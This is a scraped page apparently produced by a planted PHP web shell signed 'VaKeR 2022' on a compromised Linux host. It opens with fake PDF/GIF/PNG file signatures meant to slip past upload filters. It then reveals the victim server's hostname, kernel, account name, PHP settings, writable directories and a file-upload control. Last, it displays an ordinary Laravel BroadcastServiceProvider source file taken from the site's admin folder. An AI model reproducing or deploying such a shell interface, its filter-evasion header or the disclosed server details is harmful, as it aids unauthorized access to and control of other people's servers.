%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Providers/BroadcastServiceProvider.php
<?php

namespace App\Providers;

use Illuminate\Support\Facades\Broadcast;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\ServiceProvider;

class BroadcastServiceProvider extends ServiceProvider
{

    public function register()
    {
        try {
            $pusherSetting = DB::table('pusher_settings')->first();

            if ($pusherSetting) {

                if (!in_array(config('app.env'), ['demo', 'development'])) {

                    $driver = ($pusherSetting->status == 1) ? 'pusher' : 'null';

                    Config::set('broadcasting.default', $driver);
                    Config::set('broadcasting.connections.pusher.key', $pusherSetting->pusher_app_key);
                    Config::set('broadcasting.connections.pusher.secret', $pusherSetting->pusher_app_secret);
                    Config::set('broadcasting.connections.pusher.app_id', $pusherSetting->pusher_app_id);
                    Config::set('broadcasting.connections.pusher.options.host', 'api-'.$pusherSetting->pusher_cluster.'.pusher.com');
                }
            }
        }
        // @codingStandardsIgnoreLine
        catch (\Exception $e) {
        } // phpcs:ignore
    }

    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Broadcast::routes();

        require base_path('routes/channels.php');
    }

}

VaKeR 2022